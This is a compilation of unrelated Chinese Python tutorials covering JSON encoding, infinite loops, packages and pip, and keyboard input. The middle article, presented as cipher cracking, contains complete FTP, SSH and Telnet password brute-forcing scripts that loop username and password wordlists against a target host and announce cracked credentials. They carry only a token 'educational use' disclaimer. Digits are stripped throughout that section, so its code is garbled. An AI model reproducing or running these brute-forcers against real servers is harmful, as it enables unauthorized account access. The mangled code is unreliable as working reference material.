详解Python中的JSON编码模块 JSON编码支持的基本数据类型为 None ， bool ， int ， float 和 str ， 以及包含这些类型数据的lists，tuples和dictionaries。 对于dictionaries，keys需要是字符串类型(字典中任何非字符串类型的key在编码时会先转换为字符串)。 为了遵循JSON规范，你应该只编码Python的lists和dictionaries。 而且，在web应用程序中，顶层对象被编码为一个字典是一个标准做法。JSON编码的格式对于Python语法而已几乎是完全一样的，除了一些小的差异之外。 比如，True会被映射为true，False被映射为false，而None会被映射为null。 下面是一个例子，演示了编码后的字符串效果：>>> json.dumps(False) 'false' >>> d = {'a': True, ...   'b': 'Hello', ...   'c': None} >>> json.dumps(d) '{"b": "Hello", "c": null, "a": true}' >>>如果你试着去检查JSON解码后的数据，你通常很难通过简单的打印来确定它的结构， 特别是当数据的嵌套结构层次很深或者包含大量的字段时。 为了解决这个问题，可以考虑使用pprint模块的 pprint() 函数来代替普通的 print() 函数。 它会按照key的字母顺序并以一种更加美观的方式输出。 下面是一个演示如何漂亮的打印输出Twitter上搜索结果的例子：>>> from urllib.request import urlopen >>> import json >>> u = urlopen('http://search.twitter.com/search.json?q=python&rpp=5') >>> resp = json.loads(u.read().decode('utf-8')) >>> from pprint import pprint >>> pprint(resp) {'completed_in': 0.074, 'max_id': 264043230692245504, 'max_id_str': '264043230692245504', 'next_page': '?page=2&max_id=264043230692245504&q=python&rpp=5', 'page': 1, 'query': 'python', 'refresh_url': '?since_id=264043230692245504&q=python', 'results': [{'created_at': 'Thu, 01 Nov 2012 16:36:26 +0000',       'from_user': ...       },       {'created_at': 'Thu, 01 Nov 2012 16:36:14 +0000',       'from_user': ...       },       {'created_at': 'Thu, 01 Nov 2012 16:36:13 +0000',       'from_user': ...       },       {'created_at': 'Thu, 01 Nov 2012 16:36:07 +0000',       'from_user': ...       }       {'created_at': 'Thu, 01 Nov 2012 16:36:04 +0000',       'from_user': ...       }], 'results_per_page': 5, 'since_id': 0, 'since_id_str': '0'} >>>一般来讲，JSON解码会根据提供的数据创建dicts或lists。 如果你想要创建其他类型的对象，可以给 json.loads() 传递object_pairs_hook或object_hook参数。 例如，下面是演示如何解码JSON数据并在一个OrderedDict中保留其顺序的例子：>>> s = '{"name": "ACME", "shares": 50, "price": 490.1}' >>> from collections import OrderedDict >>> data = json.loads(s, object_pairs_hook=OrderedDict) >>> data OrderedDict([('name', 'ACME'), ('shares', 50), ('price', 490.1)]) >>>下面是如何将一个JSON字典转换为一个Python对象例子：>>> class JSONObject: ...   def __init__(self, d): ...     self.__dict__ = d ... >>> >>> data = json.loads(s, object_hook=JSONObject) >>> data.name 'ACME' >>> data.shares 50 >>> data.price 490.1 >>>最后一个例子中，JSON解码后的字典作为一个单个参数传递给 __init__() 。 然后，你就可以随心所欲的使用它了，比如作为一个实例字典来直接使用它。在编码JSON的时候，还有一些选项很有用。 如果你想获得漂亮的格式化字符串后输出，可以使用 json.dumps() 的indent参数。 它会使得输出和pprint()函数效果类似。比如：>>> print(json.dumps(data)) {"price": 542.23, "name": "ACME", "shares": 100} >>> print(json.dumps(data, indent=4)) {   "price": 542.23,   "name": "ACME",   "shares": 100 } >>>对象实例通常并不是JSON可序列化的。例如：>>> class Point: ...   def __init__(self, x, y): ...     self.x = x ...     self.y = y ... >>> p = Point(2, 3) >>> json.dumps(p) Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "/usr/local/lib/python3.3/json/__init__.py", line 226, in dumps     return _default_encoder.encode(obj)   File "/usr/local/lib/python3.3/json/encoder.py", line 187, in encode     chunks = self.iterencode(o, _one_shot=True)   File "/usr/local/lib/python3.3/json/encoder.py", line 245, in iterencode     return _iterencode(o, 0)   File "/usr/local/lib/python3.3/json/encoder.py", line 169, in default     raise TypeError(repr(o) + " is not JSON serializable") TypeError: <__main__.Point object at 0x1006f2650> is not JSON serializable >>>如果你想序列化对象实例，你可以提供一个函数，它的输入是一个实例，返回一个可序列化的字典。例如：def serialize_instance(obj):   d = { '__classname__' : type(obj).__name__ }   d.update(vars(obj))   return d如果你想反过来获取这个实例，可以这样做：# Dictionary mapping names to known classes classes = {   'Point' : Point }   def unserialize_object(d):   clsname = d.pop('__classname__', None)   if clsname:     cls = classes[clsname]     obj = cls.__new__(cls) # Make instance without calling __init__     for key, value in d.items():       setattr(obj, key, value)       return obj   else:     return d下面是如何使用这些函数的例子：>>> p = Point(2,3) >>> s = json.dumps(p, default=serialize_instance) >>> s '{"__classname__": "Point", "y": 3, "x": 2}' >>> a = json.loads(s, object_hook=unserialize_object) >>> a <__main__.Point object at 0x1017577d0> >>> a.x 2 >>> a.y 3 >>>json 模块还有很多其他选项来控制更低级别的数字、特殊值如NaN等的解析。 

Python中无限循环有什么条件 循环如果条件判断语句永远为 true，循环将会的执行下去。如下实例#!/usr/bin/python # -*- coding: UTF-8 -*-   var = 1 while var == 1 : # 该条件永远为true，循环将执行下去   num = raw_input("Enter a number :")   print "You entered: ", num   print "Good bye!"以上实例输出结果：Enter a number :20 You entered: 20 Enter a number :29 You entered: 29 Enter a number :3 You entered: 3 Enter a number between :Traceback (most recent call last):  File "test.py", line 5, in <module>   num = raw_input("Enter a number :") KeyboardInterrupt </module>注意：以上的循环你可以使用 CTRL+C 来中断循环。python while 1 vs while TruePython 3.0之前，他们的执行是不同的：while 1，python会进行优化，每次循环是不会去检查1的条件，因此性能会好而while True，在python 3k前，True不是保留字，用户可以True=0，所以，每次还要比较True的值Python 3.0之后，True/False都变成了保留字，>>> True = 10会报错因此，python 3后，while 1和while True效果一样，都会被解释器优化

Python脚本多种方法破解栅栏密码 Python是一种计算机程序设计语言。是一种面向对象的动态类型语言，最初被设计用于编写自动化脚本(shell)，随着版本的不断更新和语言新功能的添加，越来越多被用于独立的、大型项目的开发。Python脚本简单易用，对于要破解的栅栏密码，最简单的可以使用快速编写的Python脚本进行暴力破解：通用脚本：#!/usr/bin/env python  # -*- coding: gbk -*-  # -*- coding: utf_ -*-  e = raw_input(‘请输入要解密的字符串\n‘)  elen = len(e)  field=[]  for i in range(,elen):        if(elen%i==):          field.append(i)  for f in field:    b = elen / f    result = {x:‘‘ for x in range(b)}    for i in range(elen):      a = i % b;      result.update({a:result[a] + e[i]})    d = ‘‘    for i in range(b):      d = d + result[i]    print ‘分为\t‘+str(f)+‘\t‘+‘栏时，解密结果为： ‘+dFTP暴力破解脚本#!/usr/bin/env python #-*-coding = utf--*- #author:@xfk #blog:@blog.sina.com.cn/kaiyongdeng #date:@-- import sys, os, time from ftplib import FTP docs = """       [*] This was written for educational purpose and pentest only. Use it at your own risk.        [*] Author will be not responsible for any damage!       [*] Toolname : ftp_bf.py       [*] Coder :       [*] Version : .       [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt     """ if sys.platform == 'linux' or sys.platform == 'linux':   clearing = 'clear' else:   clearing = 'cls' os.system(clearing) R = "\[m"; G = "\[m"; Y = "\[m" END = "\[m" def logo():   print G+"\n |---------------------------------------------------------------|"   print " | |"   print " | blog.sina.com.cn/kaiyongdeng |"   print " | // ftp_bf.py v.. |"   print " | FTP Brute Forcing Tool |"   print " | |"   print " |---------------------------------------------------------------|\n"   print " \n [-] %s\n" % time.strftime("%X")   print docs+END def help():   print R+"[*]-t, --target ip/hostname <> Our target"   print "[*]-u, --usernamelist usernamelist <> usernamelist path"   print "[*]-p, --passwordlist passwordlist <> passwordlist path"   print "[*]-h, --help help <> print this help"   print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit() def bf_login(hostname,username,password):   # sys.stdout.write("\r[!]Checking : %s " % (p))   # sys.stdout.flush()   try:     ftp = FTP(hostname)     ftp.login(hostname,username, password)     ftp.retrlines('list')     ftp.quit()     print Y+"\n[!] wt,wt!!! We did it ! "     print "[+] Target : ",hostname, ""     print "[+] User : ",username, ""     print "[+] Password : ",password, ""+END     return   # sys.exit()   except Exception, e:     pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END   sys.exit() def anon_login(hostname):   try:     print G+"\n[!] Checking for anonymous login.\n"+END     ftp = FTP(hostname) ftp.login()     ftp.retrlines('LIST')     print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END     ftp.quit()   except Exception, e:     print R+"\n[-] Anonymous login failed...\n"+END     pass def main():   logo()   try:     for arg in sys.argv:       if arg.lower() == '-t' or arg.lower() == '--target':         hostname = sys.argv[int(sys.argv[:].index(arg))+]       elif arg.lower() == '-u' or arg.lower() == '--usernamelist':         usernamelist = sys.argv[int(sys.argv[:].index(arg))+]       elif arg.lower() == '-p' or arg.lower() == '--passwordlist':         passwordlist = sys.argv[int(sys.argv[:].index(arg))+]       elif arg.lower() == '-h' or arg.lower() == '--help':         help()       elif len(sys.argv) <= :         help()   except:     print R+"[-]Cheak your parametars input\n"+END     help()   print G+"[!] BruteForcing target ..."+END   anon_login(hostname)   # print "here is ok"   # print hostname   try:     usernames = open(usernamelist, "r")     user = usernames.readlines()     count =     while count < len(user):       user[count] = user[count].strip()       count +=   except:     print R+"\n[-] Cheak your usernamelist path\n"+END     sys.exit()   # print "here is ok ",usernamelist,passwordlist   try:     passwords = open(passwordlist, "r")     pwd = passwords.readlines()     count =     while count < len(pwd):       pwd[count] = pwd[count].strip()       count +=   except:     print R+"\n[-] Check your passwordlist path\n"+END     sys.exit()   print G+"\n[+] Loaded:",len(user),"usernames"   print "\n[+] Loaded:",len(pwd),"passwords"   print "[+] Target:",hostname   print "[+] Guessing...\n"+END   for u in user: for p in pwd:     result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))     if result != :       print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END     else:       print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END     if not result :       print R+"\n[-]There is no username ans password enabled in the list."       print "[-]Exiting...\n"+END if __name__ == "__main__":   main()SSH暴力破解#!/usr/bin/env python #-*-coding = UTF--*- #author@:dengyongkai #blog@:blog.sina.com.cn/kaiyongdeng import sys import os import time #from threading import Thread try:   from paramiko import SSHClient   from paramiko import AutoAddPolicy except ImportError:   print G+'''   You need paramiko module. http://www.lag.net/paramiko/   Debian/Ubuntu: sudo apt-get install aptitude      : sudo aptitude install python-paramiko\n'''+END   sys.exit() docs = """       [*] This was written for educational purpose and pentest only. Use it at your own risk.       [*] Author will be not responsible for any damage!                                      [*] Toolname    : ssh_bf.py       [*] Author     : xfk       [*] Version     : v..       [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]   """ if sys.platform == 'linux' or sys.platform == 'linux':      clearing = 'clear' else:       clearing = 'cls' os.system(clearing) R = "\[m"; G = "\[m"; Y = "\[m" END = "\[m" def logo():      print G+"\n        |---------------------------------------------------------------|"      print "        |                                |"      print "        |        blog.sina.com.cn/kaiyongdeng          |"      print "        |        // ssh_bf.py v..           |"      print "        |         SSH Brute Forcing Tool            |"      print "        |                                |"      print "        |---------------------------------------------------------------|\n"      print " \n           [-] %s\n" % time.ctime()      print docs+END def help():   print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"   print "   [*]-P    --port     <>the ssh service port(default is )"   print "   [*]-U    --usernamelist   <>usernames list file"   print "   [*]-P    --passwordlist   <>passwords list file"   print "   [*]-H    --help     <>show help information"   print "   [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END   sys.exit() def BruteForce(hostname,port,username,password):     '''     Create SSH connection to target     '''     ssh = SSHClient()     ssh.set_missing_host_key_policy(AutoAddPolicy())     try:       ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)       status = 'ok'       ssh.close()     except Exception, e:       status = 'error'       pass   return status def makelist(file):   '''   Make usernames and passwords lists   '''   items = []   try:     fd = open(file, 'r')   except IOError:     print R+'unable to read file \'%s\'' % file+END     pass   except Exception, e:     print R+'unknown error'+END     pass   for line in fd.readlines():     item = line.replace('\n', '').replace('\r', '')     items.append(item)   fd.close()    return items def main():     logo()  #  print "hello wold"     try:           for arg in sys.argv:             if arg.lower() == '-t' or arg.lower() == '--target':                 hostname = str(sys.argv[int(sys.argv[:].index(arg))+])         if arg.lower() == '-p' or arg.lower() == '--port':           port = sys.argv[int(sys.argv[:].index(arg))+]             elif arg.lower() == '-u' or arg.lower() == '--userlist':                 userlist = sys.argv[int(sys.argv[:].index(arg))+]             elif arg.lower() == '-w' or arg.lower() == '--wordlist':                 wordlist = sys.argv[int(sys.argv[:].index(arg))+]             elif arg.lower() == '-h' or arg.lower() == '--help':                 help()       elif len(sys.argv) <= :                 help()     except:         print R+"[-]Cheak your parametars input\n"+END         help()     print G+"\n[!] BruteForcing target ...\n"+END #    print "here is ok" #    print hostname,port,wordlist,userlist     usernamelist = makelist(userlist)     passwordlist = makelist(wordlist)     print Y+"[*] SSH Brute Force Praparing."     print "[*] %s user(s) loaded." % str(len(usernamelist))     print "[*] %s password(s) loaded." % str(len(passwordlist))     print "[*] Brute Force Is Starting......."+END   try:       for username in usernamelist:         for password in passwordlist:         print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END             current = BruteForce(hostname, port, username, password)               if current == 'error':           print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END #                pass               else:                   print G+"\n[+] ^-^ HaHa,We Got It!!!"                   print "[+] username: %s" % username                   print "[+] password: %s\n" % password+END #                  sys.exit()   except:     print R+"\n[-] There Is Something Wrong,Pleace Cheak It."     print "[-] Exitting.....\n"+END     raise     print Y+"[+] Done.^-^\n"+END     sys.exit() if __name__ == "__main__":   main()TELNET密码暴力破解#!usr/bin/python #Telnet Brute Forcer #http://www.darkcde.com #dhydr[at]gmail[dot]com import threading, time, random, sys, telnetlib from copy import copy if len(sys.argv) !=:   print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"   sys.exit() try:   users = open(sys.argv[], "r").readlines() except(IOError):   print "Error: Check your userlist path\n"   sys.exit() try:   words = open(sys.argv[], "r").readlines() except(IOError):   print "Error: Check your wordlist path\n"   sys.exit() print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v." print "\t--------------------------------------------------\n" print "[+] Server:",sys.argv[] print "[+] Users Loaded:",len(users) print "[+] Words Loaded:",len(words),"\n" wordlist = copy(words) def reloader():   for word in wordlist:     words.append(word) def getword():   lock = threading.Lock()   lock.acquire()   if len(words) != :     value = random.sample(words, )     words.remove(value[])   else:     print "\nReloading Wordlist - Changing User\n"     reloader()     value = random.sample(words, )     users.remove(users[])   lock.release()   if len(users) ==:     return value[][:-], users[]   else:     return value[][:-], users[][:-] class Worker(threading.Thread):   def run(self):     value, user = getword()     try:       print "-"*       print "User:",user,"Password:",value       tn = telnetlib.Telnet(sys.argv[])       tn.read_until("login: ")       tn.write(user + "\n")       if password:           tn.read_until("Password: ")           tn.write(value + "\n")       tn.write("ls\n")       tn.write("exit\n")       print tn.read_all()       print "\t\nLogin successful:",value, user       tn.close()       work.join()       sys.exit()     except:       pass for I in range(len(words)*len(users)):   work = Worker()   work.start()   time.sleep()</wordlist></userlist></server>

详解Python中的包和包管理工具 Python中的包包是一个分层次的文件目录结构，它定义了一个由模块及子包，和子包下的子包等组成的Python的应用环境。考虑一个在Phone目录下的pots.py文件。这个文件有如下源代码：#!/usr/bin/python # -*- coding: UTF-8 -*-    def Pots():   print "I'm Pots Phone"同样地，我们有另外两个保存了不同函数的文件：Phone/Isdn.py 含有函数Isdn()Phone/G3.py 含有函数G3()现在，在Phone目录下创建file __init__.py：Phone/__init__.py当你导入Phone时，为了能够使用所有函数，你需要在__init__.py里使用显式的导入语句，如下：from Pots import Pots from Isdn import Isdn from G3 import G3当你把这些代码添加到__init__.py之后，导入Phone包的时候这些类就全都是可用的了。#!/usr/bin/python # -*- coding: UTF-8 -*-    # 导入 Phone 包 import Phone    Phone.Pots() Phone.Isdn() Phone.G3()以上实例输出结果：I'm Pots Phone I'm 3G Phone I'm ISDN Phone如上，为了举例，我们只在每个文件里放置了一个函数，但其实你可以放置许多函数。你也可以在这些文件里定义Python的类，然后为这些类建一个包。Python的包管理工具Distribute是对标准库disutils模块的增强，我们知道disutils主要是用来更加容易的打包和分发包，特别是对其他的包有依赖的包。Distribute被创建是因为Setuptools包不再维护了。安装Distribute可以通过distribute_setup.py 脚本来安装Distribute，也可以通过easy_install, pip，源文件来安装，不过使用distribute_setup.py来安装是最简单和受欢迎的方式$ curl -0 http://python-distribute.org/distribute_setup.py $ sudo python distribute_setup.pyPip 是安装python包的工具，提供了安装包，列出已经安装的包，升级包以及卸载包的功能。Pip 是对easy_install的取代，提供了和easy_install相同的查找包的功能，因此可以使用easy_install安装的包也同样可以使用pip进行安装。安装PipPip的安装可以通过源代码包，easy_install或者脚本。下面介绍一下各种安装方法：源代码方式：$ wget http://pypi.python.org/packages/source/p/pip/pip-0.7.2.tar.gz （替换为最新的包） $ tar xzf pip-0.7.2.tar.gz $ cd pip-0.7.2 $ python setup.py installeasy_install:$ easy_install pipget_pip.py 脚本：$ curl -0 https://raw.github.com/pypa/pip/master/contrib/get-pip.py $ sudo python get-pip.py下面来看一下Pip的使用安装package$ pip install Markdown列出安装的packages$ pip freeze安装特定版本的package通过使用==, >=, <=, >, <来指定一个版本号。$ pip install 'Markdown<2.0' $ pip install 'Markdown>2.0,<2.0.3'升级包升级包到当前最新的版本，可以使用-U 或者 --upgrade$ pip install -U Markdown卸载包$ pip uninstall Markdown查询包pip search "Markdown"PS -- 包安装后的py文件路径：/usr/local/lib/python2.7/dist-packages

Python代码中怎么读取键盘录入的值 读取键盘输入Python提供了两个内置函数从标准输入读入一行文本，默认的标准输入是键盘。如下：raw_inputinputraw_input函数raw_input([prompt]) 函数从标准输入读取一个行，并返回一个字符串（去掉结尾的换行符）：#!/usr/bin/python    str = raw_input("Enter your input: "); print "Received input is : ", str这将提示你输入任意字符串，然后在屏幕上显示相同的字符串。当我输入"Hello Python！"，它的输出如下：Enter your input: Hello Python Received input is : Hello Pythoninput函数input([prompt]) 函数和raw_input([prompt]) 函数基本可以互换，但是input会假设你的输入是一个有效的Python表达式，并返回运算结果。#!/usr/bin/python    str = input("Enter your input: "); print "Received input is : ", str这会产生如下的对应着输入的结果：Enter your input: [x*5 for x in range(2,10,2)] Recieved input is : [10, 20, 30, 40]